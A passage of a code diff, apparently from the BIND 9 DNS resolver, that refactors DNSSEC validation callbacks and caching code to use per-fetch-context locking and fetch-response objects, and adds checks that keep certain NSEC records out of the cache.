-		if (bucket_empty) {
-			empty_bucket(res);
-		}
-		goto cleanup_event;
+		UNLOCK(&fctx->lock);
+		goto cleanup_fetchctx;
 	}
 
-	isc_stdtime_get(&now);
+	now = isc_stdtime_now();
 
 	/*
-	 * If chaining, we need to make sure that the right result code is
-	 * returned, and that the rdatasets are bound.
+	 * If chaining, we need to make sure that the right result code
+	 * is returned, and that the rdatasets are bound.
 	 */
-	if (vevent->result == ISC_R_SUCCESS && !negative &&
-	    vevent->rdataset != NULL && CHAINING(vevent->rdataset))
+	if (val->result == ISC_R_SUCCESS && !negative &&
+	    val->rdataset != NULL && CHAINING(val->rdataset))
 	{
-		if (vevent->rdataset->type == dns_rdatatype_cname) {
+		if (val->rdataset->type == dns_rdatatype_cname) {
 			eresult = DNS_R_CNAME;
 		} else {
-			INSIST(vevent->rdataset->type == dns_rdatatype_dname);
+			INSIST(val->rdataset->type == dns_rdatatype_dname);
 			eresult = DNS_R_DNAME;
 		}
 		chaining = true;
@@ -5744,13 +5211,13 @@ validated(isc_task_t *task, isc_event_t *event) {
 	}
 
 	/*
-	 * Either we're not shutting down, or we are shutting down but want
-	 * to cache the result anyway (if this was a validation started by
-	 * a query with cd set)
+	 * Either we're not shutting down, or we are shutting down but
+	 * want to cache the result anyway (if this was a validation
+	 * started by a query with cd set)
 	 */
 
-	hevent = ISC_LIST_HEAD(fctx->events);
-	if (hevent != NULL) {
+	hresp = ISC_LIST_HEAD(fctx->resps);
+	if (hresp != NULL) {
 		if (!negative && !chaining &&
 		    (fctx->type == dns_rdatatype_any ||
 		     fctx->type == dns_rdatatype_rrsig ||
@@ -5761,32 +5228,31 @@ validated(isc_task_t *task, isc_event_t *event) {
 			 * will iterate the node.
 			 */
 		} else {
-			ardataset = hevent->rdataset;
-			asigrdataset = hevent->sigrdataset;
+			ardataset = hresp->rdataset;
+			asigrdataset = hresp->sigrdataset;
 		}
 	}
 
-	if (vevent->result != ISC_R_SUCCESS) {
+	if (val->result != ISC_R_SUCCESS) {
 		FCTXTRACE("validation failed");
 		inc_stats(res, dns_resstatscounter_valfail);
 		fctx->valfail++;
-		fctx->vresult = vevent->result;
+		fctx->vresult = val->result;
 		if (fctx->vresult != DNS_R_BROKENCHAIN) {
 			result = ISC_R_NOTFOUND;
-			if (vevent->rdataset != NULL) {
-				result = dns_db_findnode(
-					fctx->cache, vevent->name, true, &node);
+			if (val->rdataset != NULL) {
+				result = dns_db_findnode(fctx->cache, val->name,
+							 true, &node);
 			}
 			if (result == ISC_R_SUCCESS) {
 				(void)dns_db_deleterdataset(fctx->cache, node,
-							    NULL, vevent->type,
-							    0);
+							    NULL, val->type, 0);
 			}
-			if (result == ISC_R_SUCCESS &&
-			    vevent->sigrdataset != NULL) {
+			if (result == ISC_R_SUCCESS && val->sigrdataset != NULL)
+			{
 				(void)dns_db_deleterdataset(
 					fctx->cache, node, NULL,
-					dns_rdatatype_rrsig, vevent->type);
+					dns_rdatatype_rrsig, val->type);
 			}
 			if (result == ISC_R_SUCCESS) {
 				dns_db_detachnode(fctx->cache, &node);
@@ -5794,23 +5260,24 @@ validated(isc_task_t *task, isc_event_t *event) {
 		}
 		if (fctx->vresult == DNS_R_BROKENCHAIN && !negative) {
 			/*
-			 * Cache the data as pending for later validation.
+			 * Cache the data as pending for later
+			 * validation.
 			 */
 			result = ISC_R_NOTFOUND;
-			if (vevent->rdataset != NULL) {
-				result = dns_db_findnode(
-					fctx->cache, vevent->name, true, &node);
+			if (val->rdataset != NULL) {
+				result = dns_db_findnode(fctx->cache, val->name,
+							 true, &node);
 			}
 			if (result == ISC_R_SUCCESS) {
 				(void)dns_db_addrdataset(
 					fctx->cache, node, NULL, now,
-					vevent->rdataset, 0, NULL);
+					val->rdataset, 0, NULL);
 			}
-			if (result == ISC_R_SUCCESS &&
-			    vevent->sigrdataset != NULL) {
+			if (result == ISC_R_SUCCESS && val->sigrdataset != NULL)
+			{
 				(void)dns_db_addrdataset(
 					fctx->cache, node, NULL, now,
-					vevent->sigrdataset, 0, NULL);
+					val->sigrdataset, 0, NULL);
 			}
 			if (result == ISC_R_SUCCESS) {
 				dns_db_detachnode(fctx->cache, &node);
@@ -5818,14 +5285,18 @@ validated(isc_task_t *task, isc_event_t *event) {
 		}
 		result = fctx->vresult;
 		add_bad(fctx, message, addrinfo, result, badns_validation);
-		isc_event_free(&event);
-		UNLOCK(&res->buckets[bucketnum].lock);
+
+		UNLOCK(&fctx->lock);
+
 		INSIST(fctx->validator == NULL);
+
 		fctx->validator = ISC_LIST_HEAD(fctx->validators);
 		if (fctx->validator != NULL) {
 			dns_validator_send(fctx->validator);
+			goto cleanup_fetchctx;
 		} else if (sentresponse) {
-			fctx_done(fctx, result, __LINE__); /* Locks bucket. */
+			done = true;
+			goto cleanup_fetchctx;
 		} else if (result == DNS_R_BROKENCHAIN) {
 			isc_result_t tresult;
 			isc_time_t expire;
@@ -5838,16 +5309,16 @@ validated(isc_task_t *task, isc_event_t *event) {
 			     fctx->type == dns_rdatatype_ds) &&
 			    tresult == ISC_R_SUCCESS)
 			{
-				dns_resolver_addbadcache(res, &fctx->name,
+				dns_resolver_addbadcache(res, fctx->name,
 							 fctx->type, &expire);
 			}
-			fctx_done(fctx, result, __LINE__); /* Locks bucket. */
+			done = true;
+			goto cleanup_fetchctx;
 		} else {
-			fctx_try(fctx, true, true); /* Locks bucket. */
+			fctx_try(fctx, true, true);
+			goto cleanup_fetchctx;
 		}
-
-		dns_message_detach(&message);
-		return;
+		UNREACHABLE();
 	}
 
 	if (negative) {
@@ -5860,15 +5331,16 @@ validated(isc_task_t *task, isc_event_t *event) {
 		 * Cache DS NXDOMAIN separately to other types.
 		 */
 		if (message->rcode == dns_rcode_nxdomain &&
-		    fctx->type != dns_rdatatype_ds) {
+		    fctx->type != dns_rdatatype_ds)
+		{
 			covers = dns_rdatatype_any;
 		} else {
 			covers = fctx->type;
 		}
 
-		result = dns_db_findnode(fctx->cache, vevent->name, true,
-					 &node);
+		result = dns_db_findnode(fctx->cache, val->name, true, &node);
 		if (result != ISC_R_SUCCESS) {
+			/* fctx->lock unlocked in noanswer_response */
 			goto noanswer_response;
 		}
 
@@ -5886,7 +5358,7 @@ validated(isc_task_t *task, isc_event_t *event) {
 
 		result = ncache_adderesult(message, fctx->cache, node, covers,
 					   now, fctx->res->view->minncachettl,
-					   ttl, vevent->optout, vevent->secure,
+					   ttl, val->optout, val->secure,
 					   ardataset, &eresult);
 		if (result != ISC_R_SUCCESS) {
 			goto noanswer_response;
@@ -5898,28 +5370,27 @@ validated(isc_task_t *task, isc_event_t *event) {
 
 	FCTXTRACE("validation OK");
 
-	if (vevent->proofs[DNS_VALIDATOR_NOQNAMEPROOF] != NULL) {
+	if (val->proofs[DNS_VALIDATOR_NOQNAMEPROOF] != NULL) {
 		result = dns_rdataset_addnoqname(
-			vevent->rdataset,
-			vevent->proofs[DNS_VALIDATOR_NOQNAMEPROOF]);
+			val->rdataset, val->proofs[DNS_VALIDATOR_NOQNAMEPROOF]);
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
-		INSIST(vevent->sigrdataset != NULL);
-		vevent->sigrdataset->ttl = vevent->rdataset->ttl;
-		if (vevent->proofs[DNS_VALIDATOR_CLOSESTENCLOSER] != NULL) {
+		INSIST(val->sigrdataset != NULL);
+		val->sigrdataset->ttl = val->rdataset->ttl;
+		if (val->proofs[DNS_VALIDATOR_CLOSESTENCLOSER] != NULL) {
 			result = dns_rdataset_addclosest(
-				vevent->rdataset,
-				vevent->proofs[DNS_VALIDATOR_CLOSESTENCLOSER]);
+				val->rdataset,
+				val->proofs[DNS_VALIDATOR_CLOSESTENCLOSER]);
 			RUNTIME_CHECK(result == ISC_R_SUCCESS);
 		}
-	} else if (vevent->rdataset->trust == dns_trust_answer &&
-		   vevent->rdataset->type != dns_rdatatype_rrsig)
+	} else if (val->rdataset->trust == dns_trust_answer &&
+		   val->rdataset->type != dns_rdatatype_rrsig)
 	{
 		isc_result_t tresult;
 		dns_name_t *noqname = NULL;
-		tresult = findnoqname(fctx, message, vevent->name,
-				      vevent->rdataset->type, &noqname);
+		tresult = findnoqname(fctx, message, val->name,
+				      val->rdataset->type, &noqname);
 		if (tresult == ISC_R_SUCCESS && noqname != NULL) {
-			tresult = dns_rdataset_addnoqname(vevent->rdataset,
+			tresult = dns_rdataset_addnoqname(val->rdataset,
 							  noqname);
 			RUNTIME_CHECK(tresult == ISC_R_SUCCESS);
 		}
@@ -5931,7 +5402,7 @@ validated(isc_task_t *task, isc_event_t *event) {
 	 * rdatasets to the first event on the fetch
 	 * event list.
 	 */
-	result = dns_db_findnode(fctx->cache, vevent->name, true, &node);
+	result = dns_db_findnode(fctx->cache, val->name, true, &node);
 	if (result != ISC_R_SUCCESS) {
 		goto noanswer_response;
 	}
@@ -5940,8 +5411,8 @@ validated(isc_task_t *task, isc_event_t *event) {
 	if ((fctx->options & DNS_FETCHOPT_PREFETCH) != 0) {
 		options = DNS_DBADD_PREFETCH;
 	}
-	result = dns_db_addrdataset(fctx->cache, node, NULL, now,
-				    vevent->rdataset, options, ardataset);
+	result = dns_db_addrdataset(fctx->cache, node, NULL, now, val->rdataset,
+				    options, ardataset);
 	if (result != ISC_R_SUCCESS && result != DNS_R_UNCHANGED) {
 		goto noanswer_response;
 	}
@@ -5951,9 +5422,9 @@ validated(isc_task_t *task, isc_event_t *event) {
 		} else {
 			eresult = DNS_R_NCACHENXRRSET;
 		}
-	} else if (vevent->sigrdataset != NULL) {
+	} else if (val->sigrdataset != NULL) {
 		result = dns_db_addrdataset(fctx->cache, node, NULL, now,
-					    vevent->sigrdataset, options,
+					    val->sigrdataset, options,
 					    asigrdataset);
 		if (result != ISC_R_SUCCESS && result != DNS_R_UNCHANGED) {
 			goto noanswer_response;
@@ -5961,20 +5432,16 @@ validated(isc_task_t *task, isc_event_t *event) {
 	}
 
 	if (sentresponse) {
-		bool bucket_empty = false;
 		/*
-		 * If we only deferred the destroy because we wanted to cache
-		 * the data, destroy now.
+		 * If we only deferred the destroy because we wanted to
+		 * cache the data, destroy now.
 		 */
 		dns_db_detachnode(fctx->cache, &node);
 		if (SHUTTINGDOWN(fctx)) {
-			bucket_empty = maybe_destroy(fctx, true);
+			maybe_cancel_validators(fctx);
 		}
-		UNLOCK(&res->buckets[bucketnum].lock);
-		if (bucket_empty) {
-			empty_bucket(res);
-		}
-		goto cleanup_event;
+		UNLOCK(&fctx->lock);
+		goto cleanup_fetchctx;
 	}
 
 	if (!ISC_LIST_EMPTY(fctx->validators)) {
@@ -5988,12 +5455,13 @@ validated(isc_task_t *task, isc_event_t *event) {
 		 * be validated.
 		 */
 		dns_db_detachnode(fctx->cache, &node);
-		UNLOCK(&res->buckets[bucketnum].lock);
+		UNLOCK(&fctx->lock);
 		dns_validator_send(ISC_LIST_HEAD(fctx->validators));
-		goto cleanup_event;
+		goto cleanup_fetchctx;
 	}
 
 answer_response:
+
 	/*
 	 * Cache any SOA/NS/NSEC records that happened to be validated.
 	 */
@@ -6023,9 +5491,49 @@ validated(isc_task_t *task, isc_event_t *event) {
 				break;
 			}
 			if (sigrdataset == NULL ||
-			    sigrdataset->trust != dns_trust_secure) {
+			    sigrdataset->trust != dns_trust_secure)
+			{
+				continue;
+			}
+
+			/*
+			 * Don't cache NSEC if missing NSEC or RRSIG types.
+			 */
+			if (rdataset->type == dns_rdatatype_nsec &&
+			    !dns_nsec_requiredtypespresent(rdataset))
+			{
+				continue;
+			}
+
+			/*
+			 * Don't cache "white lies" but do cache
+			 * "black lies".
+			 */
+			if (rdataset->type == dns_rdatatype_nsec &&
+			    !dns_name_equal(fctx->name, name) &&
+			    is_minimal_nsec(rdataset))
+			{
+				continue;
+			}
+
+			/*
+			 * Check SOA and DNSKEY consistency.
+			 */
+			if (rdataset->type == dns_rdatatype_nsec &&
+			    !check_soa_and_dnskey(rdataset))
+			{
+				continue;
+			}
+
+			/*
+			 * Look for \000 label in next name.
+			 */
+			if (rdataset->type == dns_rdatatype_nsec &&
+			    has_000_label(rdataset))
+			{
 				continue;
 			}
+
 			result = dns_db_findnode(fctx->cache, name, true,
 						 &nsnode);
 			if (result != ISC_R_SUCCESS) {
@@ -6050,25 +5558,24 @@ validated(isc_task_t *task, isc_event_t *event) {
 	/*
 	 * Add the wild card entry.
 	 */
-	if (vevent->proofs[DNS_VALIDATOR_NOQNAMEPROOF] != NULL &&
-	    vevent->rdataset != NULL &&
-	    dns_rdataset_isassociated(vevent->rdataset) &&
-	    vevent->rdataset->trust == dns_trust_secure &&
-	    vevent->sigrdataset != NULL &&
-	    dns_rdataset_isassociated(vevent->sigrdataset) &&
-	    vevent->sigrdataset->trust == dns_trust_secure && wild != NULL)
+	if (val->proofs[DNS_VALIDATOR_NOQNAMEPROOF] != NULL &&
+	    val->rdataset != NULL && dns_rdataset_isassociated(val->rdataset) &&
+	    val->rdataset->trust == dns_trust_secure &&
+	    val->sigrdataset != NULL &&
+	    dns_rdataset_isassociated(val->sigrdataset) &&
+	    val->sigrdataset->trust == dns_trust_secure && wild != NULL)
 	{
 		dns_dbnode_t *wnode = NULL;
 
 		result = dns_db_findnode(fctx->cache, wild, true, &wnode);
 		if (result == ISC_R_SUCCESS) {
 			result = dns_db_addrdataset(fctx->cache, wnode, NULL,
-						    now, vevent->rdataset, 0,
+						    now, val->rdataset, 0,
 						    NULL);
 		}
 		if (result == ISC_R_SUCCESS) {
 			(void)dns_db_addrdataset(fctx->cache, wnode, NULL, now,
-						 vevent->sigrdataset, 0, NULL);
+						 val->sigrdataset, 0, NULL);
 		}
 		if (wnode != NULL) {
 			dns_db_detachnode(fctx->cache, &wnode);
@@ -6084,21 +5591,22 @@ validated(isc_task_t *task, isc_event_t *event) {
 
 	FCTX_ATTR_SET(fctx, FCTX_ATTR_HAVEANSWER);
 
-	if (hevent != NULL) {
+	if (hresp != NULL) {
 		/*
-		 * Negative results must be indicated in event->result.
+		 * Negative results must be indicated in val->result.
 		 */
-		INSIST(hevent->rdataset != NULL);
-		if (dns_rdataset_isassociated(hevent->rdataset) &&
-		    NEGATIVE(hevent->rdataset)) {
+		INSIST(hresp->rdataset != NULL);
+		if (dns_rdataset_isassociated(hresp->rdataset) &&
+		    NEGATIVE(hresp->rdataset))
+		{
 			INSIST(eresult == DNS_R_NCACHENXDOMAIN ||
 			       eresult == DNS_R_NCACHENXRRSET);
 		}
-		hevent->result = eresult;
-		dns_name_copy(vevent->name,
-			      dns_fixedname_name(&hevent->foundname));
-		dns_db_attach(fctx->cache, &hevent->db);
-		dns_db_transfernode(fctx->cache, &node, &hevent->node);
+
+		hresp->result = eresult;
+		dns_name_copy(val->name, hresp->foundname);
+		dns_db_attach(fctx->cache, &hresp->db);
+		dns_db_transfernode(fctx->cache, &node, &hresp->node);
 		clone_results(fctx);
 	}
 
@@ -6107,13 +5615,22 @@ validated(isc_task_t *task, isc_event_t *event) {
 		dns_db_detachnode(fctx->cache, &node);
 	}
 
-	UNLOCK(&res->buckets[bucketnum].lock);
-	fctx_done(fctx, result, __LINE__); /* Locks bucket. */
+	UNLOCK(&fctx->lock);
+	done = true;
+
+cleanup_fetchctx:
+	if (done) {
+		fctx_done_unref(fctx, result);
+	}
 
-cleanup_event:
+	/*
+	 * val->name points to name on a message on one of the
+	 * queries on the fetch context so the validator has to
+	 * be destroyed first.
+	 */
+	dns_validator_destroy(&val);
+	fetchctx_detach(&fctx);
 	INSIST(node == NULL);
-	dns_message_detach(&message);
-	isc_event_free(&event);
 }
 
 static void
@@ -6131,7 +5648,7 @@ fctx_log(void *arg, int level, const char *fmt, ...) {
 		      fctx->info, msgbuf);
 }
 
-static inline isc_result_t
+static isc_result_t
 findnoqname(fetchctx_t *fctx, dns_message_t *message, dns_name_t *name,
 	    dns_rdatatype_t type, dns_name_t **noqnamep) {
 	dns_rdataset_t *nrdataset, *next, *sigrdataset;
@@ -6159,7 +5676,8 @@ findnoqname(fetchctx_t *fctx, dns_message_t *message, dns_name_t *name,
 	     sigrdataset = ISC_LIST_NEXT(sigrdataset, link))
 	{
 		if (sigrdataset->type == dns_rdatatype_rrsig &&
-		    sigrdataset->covers == type) {
+		    sigrdataset->covers == type)
+		{
 			break;
 		}
 	}
@@ -6205,7 +5723,8 @@ findnoqname(fetchctx_t *fctx, dns_message_t *message, dns_name_t *name,
 		dns_name_t *nsec = NULL;
 		dns_message_currentname(message, section, &nsec);
 		for (nrdataset = ISC_LIST_HEAD(nsec->list); nrdataset != NULL;
-		     nrdataset = next) {
+		     nrdataset = next)
+		{
 			bool data = false, exists = false;
 			bool optout = false, unknown = false;
 			bool setclosest = false;
@@ -6252,7 +5771,8 @@ findnoqname(fetchctx_t *fctx, dns_message_t *message, dns_name_t *name,
 		     sigrdataset = ISC_LIST_NEXT(sigrdataset, link))
 		{
 			if (sigrdataset->type == dns_rdatatype_rrsig &&
-			    sigrdataset->covers == found) {
+			    sigrdataset->covers == found)
+			{
 				break;
 			}
 		}
@@ -6263,7 +5783,7 @@ findnoqname(fetchctx_t *fctx, dns_message_t *message, dns_name_t *name,
 	return (result);
 }
 
-static inline isc_result_t
+static isc_result_t
 cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 	   dns_adbaddrinfo_t *addrinfo, isc_stdtime_t now) {
 	dns_rdataset_t *rdataset = NULL, *sigrdataset = NULL;
@@ -6272,15 +5792,13 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 	dns_rdataset_t *valrdataset = NULL, *valsigrdataset = NULL;
 	dns_dbnode_t *node = NULL, **anodep = NULL;
 	dns_db_t **adbp = NULL;
-	dns_name_t *aname = NULL;
 	dns_resolver_t *res = fctx->res;
 	bool need_validation = false;
 	bool secure_domain = false;
 	bool have_answer = false;
 	isc_result_t result, eresult = ISC_R_SUCCESS;
-	dns_fetchevent_t *event = NULL;
+	dns_fetchresponse_t *resp = NULL;
 	unsigned int options;
-	isc_task_t *task;
 	bool fail;
 	unsigned int valoptions = 0;
 	bool checknta = true;
@@ -6290,7 +5808,6 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 	/*
 	 * The appropriate bucket lock must be held.
 	 */
-	task = res->buckets[fctx->bucketnum].task;
 
 	/*
 	 * Is DNSSEC validation required for this name?
@@ -6318,30 +5835,30 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 		need_validation = secure_domain;
 	}
 
-	if (((name->attributes & DNS_NAMEATTR_ANSWER) != 0) &&
-	    (!need_validation)) {
+	if (name->attributes.answer && !need_validation) {
 		have_answer = true;
-		event = ISC_LIST_HEAD(fctx->events);
+		resp = ISC_LIST_HEAD(fctx->resps);
+
+		if (resp != NULL) {
+			adbp = &resp->db;
+			dns_name_copy(name, resp->foundname);
+			anodep = &resp->node;
 
-		if (event != NULL) {
-			adbp = &event->db;
-			aname = dns_fixedname_name(&event->foundname);
-			dns_name_copy(name, aname);
-			anodep = &event->node;
 			/*
-			 * If this is an ANY, SIG or RRSIG query, we're not
-			 * going to return any rdatasets, unless we encountered
-			 * a CNAME or DNAME as "the answer".  In this case,
-			 * we're going to return DNS_R_CNAME or DNS_R_DNAME
-			 * and we must set up the rdatasets.
+			 * If this is an ANY, SIG or RRSIG query, we're
+			 * not going to return any rdatasets, unless we
+			 * encountered a CNAME or DNAME as "the answer".
+			 * In this case, we're going to return
+			 * DNS_R_CNAME or DNS_R_DNAME and we must set up
+			 * the rdatasets.
 			 */
 			if ((fctx->type != dns_rdatatype_any &&
 			     fctx->type != dns_rdatatype_rrsig &&
 			     fctx->type != dns_rdatatype_sig) ||
-			    (name->attributes & DNS_NAMEATTR_CHAINING) != 0)
+			    name->attributes.chaining)
 			{
-				ardataset = event->rdataset;
-				asigrdataset = event->sigrdataset;
+				ardataset = resp->rdataset;
+				asigrdataset = resp->sigrdataset;
 			}
 		}
 	}
@@ -6406,7 +5923,7 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 		/*
 		 * Mark the rdataset as being prefetch eligible.
 		 */
-		if (rdataset->ttl > fctx->res->view->prefetch_eligible) {
+		if (rdataset->ttl >= fctx->res->view->prefetch_eligible) {
 			rdataset->attributes |= DNS_RDATASETATTR_PREFETCH;
 		}
 
@@ -6426,31 +5943,34 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 
 		/*
 		 * If this RRset is in a secure domain, is in bailiwick,
-		 * and is not glue, attempt DNSSEC validation.	(We do not
-		 * attempt to validate glue or out-of-bailiwick data--even
-		 * though there might be some performance benefit to doing
-		 * so--because it makes it simpler and safer to ensure that
-		 * records from a secure domain are only cached if validated
-		 * within the context of a query to the domain that owns
-		 * them.)
+		 * and is not glue, attempt DNSSEC validation.	(We do
+		 * not attempt to validate glue or out-of-bailiwick
+		 * data--even though there might be some performance
+		 * benefit to doing so--because it makes it simpler and
+		 * safer to ensure that records from a secure domain are
+		 * only cached if validated within the context of a
+		 * query to the domain that owns them.)
 		 */
 		if (secure_domain && rdataset->trust != dns_trust_glue &&
-		    !EXTERNAL(rdataset)) {
+		    !EXTERNAL(rdataset))
+		{
 			dns_trust_t trust;
 
 			/*
-			 * RRSIGs are validated as part of validating the
-			 * type they cover.
+			 * RRSIGs are validated as part of validating
+			 * the type they cover.
 			 */
 			if (rdataset->type == dns_rdatatype_rrsig) {
 				continue;
 			}
 
 			if (sigrdataset == NULL && need_validation &&
-			    !ANSWER(rdataset)) {
+			    !ANSWER(rdataset))
+			{
 				/*
 				 * Ignore unrelated non-answer
-				 * rdatasets that are missing signatures.
+				 * rdatasets that are missing
+				 * signatures.
 				 */
 				continue;
 			}
@@ -6467,7 +5987,7 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 			/*
 			 * Mark the rdataset as being prefetch eligible.
 			 */
-			if (rdataset->ttl > fctx->res->view->prefetch_eligible)
+			if (rdataset->ttl >= fctx->res->view->prefetch_eligible)
 			{
 				rdataset->attributes |=
 					DNS_RDATASETATTR_PREFETCH;
@@ -6475,9 +5995,9 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 
 			/*
 			 * Cache this rdataset/sigrdataset pair as
-			 * pending data.  Track whether it was additional
-			 * or not. If this was a priming query, additional
-			 * should be cached as glue.
+			 * pending data.  Track whether it was
+			 * additional or not. If this was a priming
+			 * query, additional should be cached as glue.
 			 */
 			if (rdataset->trust == dns_trust_additional) {
 				trust = dns_trust_pending_additional;
@@ -6492,24 +6012,28 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 			if (!need_validation || !ANSWER(rdataset)) {
 				options = 0;
 				if (ANSWER(rdataset) &&
-				    rdataset->type != dns_rdatatype_rrsig) {
+				    rdataset->type != dns_rdatatype_rrsig)
+				{
 					isc_result_t tresult;
 					dns_name_t *noqname = NULL;
 					tresult = findnoqname(
 						fctx, message, name,
 						rdataset->type, &noqname);
 					if (tresult == ISC_R_SUCCESS &&
-					    noqname != NULL) {
+					    noqname != NULL)
+					{
 						(void)dns_rdataset_addnoqname(
 							rdataset, noqname);
 					}
 				}
 				if ((fctx->options & DNS_FETCHOPT_PREFETCH) !=
-				    0) {
+				    0)
+				{
 					options = DNS_DBADD_PREFETCH;
 				}
 				if ((fctx->options & DNS_FETCHOPT_NOCACHED) !=
-				    0) {
+				    0)
+				{
 					options |= DNS_DBADD_FORCE;
 				}
 				addedrdataset = ardataset;
@@ -6520,13 +6044,16 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 					result = ISC_R_SUCCESS;
 					if (!need_validation &&
 					    ardataset != NULL &&
-					    NEGATIVE(ardataset)) {
+					    NEGATIVE(ardataset))
+					{
 						/*
-						 * The answer in the cache is
-						 * better than the answer we
-						 * found, and is a negative
-						 * cache entry, so we must set
-						 * eresult appropriately.
+						 * The answer in the
+						 * cache is better than
+						 * the answer we found,
+						 * and is a negative
+						 * cache entry, so we
+						 * must set eresult
+						 * appropriately.
 						 */
 						if (NXDOMAIN(ardataset)) {
 							eresult =
@@ -6536,10 +6063,11 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 								DNS_R_NCACHENXRRSET;
 						}
 						/*
-						 * We have a negative response
-						 * from the cache so don't
-						 * attempt to add the RRSIG
-						 * rrset.
+						 * We have a negative
+						 * response from the
+						 * cache so don't
+						 * attempt to add the
+						 * RRSIG rrset.
 						 */
 						continue;
 					}
@@ -6571,9 +6099,10 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 				{
 					/*
 					 * This is The Answer.  We will
-					 * validate it, but first we cache
-					 * the rest of the response - it may
-					 * contain useful keys.
+					 * validate it, but first we
+					 * cache the rest of the
+					 * response - it may contain
+					 * useful keys.
 					 */
 					INSIST(valrdataset == NULL &&
 					       valsigrdataset == NULL);
@@ -6593,7 +6122,7 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 					result = valcreate(
 						fctx, message, addrinfo, name,
 						rdataset->type, rdataset,
-						sigrdataset, valoptions, task);
+						sigrdataset, valoptions);
 				}
 			} else if (CHAINING(rdataset)) {
 				if (rdataset->type == dns_rdatatype_cname) {
@@ -6630,10 +6159,11 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 			      rdataset->covers == dns_rdatatype_ns)))
 			{
 				/*
-				 * If the trust level is 'dns_trust_glue'
-				 * then we are adding data from a referral
-				 * we got while executing the search algorithm.
-				 * New referral data always takes precedence
+				 * If the trust level is
+				 * 'dns_trust_glue' then we are adding
+				 * data from a referral we got while
+				 * executing the search algorithm. New
+				 * referral data always takes precedence
 				 * over the existing cache contents.
 				 */
 				options = DNS_DBADD_FORCE;
@@ -6645,7 +6175,8 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 			}
 
 			if (ANSWER(rdataset) &&
-			    rdataset->type != dns_rdatatype_rrsig) {
+			    rdataset->type != dns_rdatatype_rrsig)
+			{
 				isc_result_t tresult;
 				dns_name_t *noqname = NULL;
 				tresult = findnoqname(fctx, message, name,
@@ -6666,12 +6197,14 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 
 			if (result == DNS_R_UNCHANGED) {
 				if (ANSWER(rdataset) && ardataset != NULL &&
-				    NEGATIVE(ardataset)) {
+				    NEGATIVE(ardataset))
+				{
 					/*
-					 * The answer in the cache is better
-					 * than the answer we found, and is
-					 * a negative cache entry, so we
-					 * must set eresult appropriately.
+					 * The answer in the cache is
+					 * better than the answer we
+					 * found, and is a negative
+					 * cache entry, so we must set
+					 * eresult appropriately.
 					 */
 					if (NXDOMAIN(ardataset)) {
 						eresult = DNS_R_NCACHENXDOMAIN;
@@ -6697,22 +6230,23 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 		}
 
 		result = valcreate(fctx, message, addrinfo, name, vtype,
-				   valrdataset, valsigrdataset, valoptions,
-				   task);
+				   valrdataset, valsigrdataset, valoptions);
 	}
 
 	if (result == ISC_R_SUCCESS && have_answer) {
 		FCTX_ATTR_SET(fctx, FCTX_ATTR_HAVEANSWER);
-		if (event != NULL) {
+		if (resp != NULL) {
 			/*
-			 * Negative results must be indicated in event->result.
+			 * Negative results must be indicated in
+			 * resp->result.
 			 */
-			if (dns_rdataset_isassociated(event->rdataset) &&
-			    NEGATIVE(event->rdataset)) {
+			if (dns_rdataset_isassociated(resp->rdataset) &&
+			    NEGATIVE(resp->rdataset))
+			{
 				INSIST(eresult == DNS_R_NCACHENXDOMAIN ||
 				       eresult == DNS_R_NCACHENXRRSET);
 			}
-			event->result = eresult;
+			resp->result = eresult;
 			if (adbp != NULL && *adbp != NULL) {
 				if (anodep != NULL && *anodep != NULL) {
 					dns_db_detachnode(*adbp, anodep);
@@ -6732,7 +6266,7 @@ cache_name(fetchctx_t *fctx, dns_name_t *name, dns_message_t *message,
 	return (result);
 }
 
-static inline isc_result_t
+static isc_result_t
 cache_message(fetchctx_t *fctx, dns_message_t *message,
 	      dns_adbaddrinfo_t *addrinfo, isc_stdtime_t now) {
 	isc_result_t result;
@@ -6743,15 +6277,16 @@ cache_message(fetchctx_t *fctx, dns_message_t *message,
 
 	FCTX_ATTR_CLR(fctx, FCTX_ATTR_WANTCACHE);
 
-	LOCK(&fctx->res->buckets[fctx->bucketnum].lock);
+	LOCK(&fctx->lock);
 
 	for (section = DNS_SECTION_ANSWER; section <= DNS_SECTION_ADDITIONAL;
-	     section++) {
+	     section++)
+	{
 		result = dns_message_firstname(message, section);
 		while (result == ISC_R_SUCCESS) {
 			name = NULL;
 			dns_message_currentname(message, section, &name);
-			if ((name->attributes & DNS_NAMEATTR_CACHE) != 0) {
+			if (name->attributes.cache) {
 				result = cache_name(fctx, name, message,
 						    addrinfo, now);
 				if (result != ISC_R_SUCCESS) {
@@ -6768,13 +6303,14 @@ cache_message(fetchctx_t *fctx, dns_message_t *message,
 		result = ISC_R_SUCCESS;
 	}
 
-	UNLOCK(&fctx->res->buckets[fctx->bucketnum].lock);
+	UNLOCK(&fctx->lock);
 
 	return (result);
 }
 
 /*
- * Do what dns_ncache_addoptout() does, and then compute an appropriate eresult.
+ * Do what dns_ncache_addoptout() does, and then compute an appropriate
+ * eresult.
  */
 static isc_result_t
 ncache_adderesult(dns_message_t *message, dns_db_t *cache, dns_dbnode_t *node,
@@ -6814,10 +6350,10 @@ ncache_adderesult(dns_message_t *message, dns_db_t *cache, dns_dbnode_t *node,
 		} else {
 			/*
 			 * Either we don't care about the nature of the
-			 * cache rdataset (because no fetch is interested
-			 * in the outcome), or the cache rdataset is not
-			 * a negative cache entry.  Whichever case it is,
-			 * we can return success.
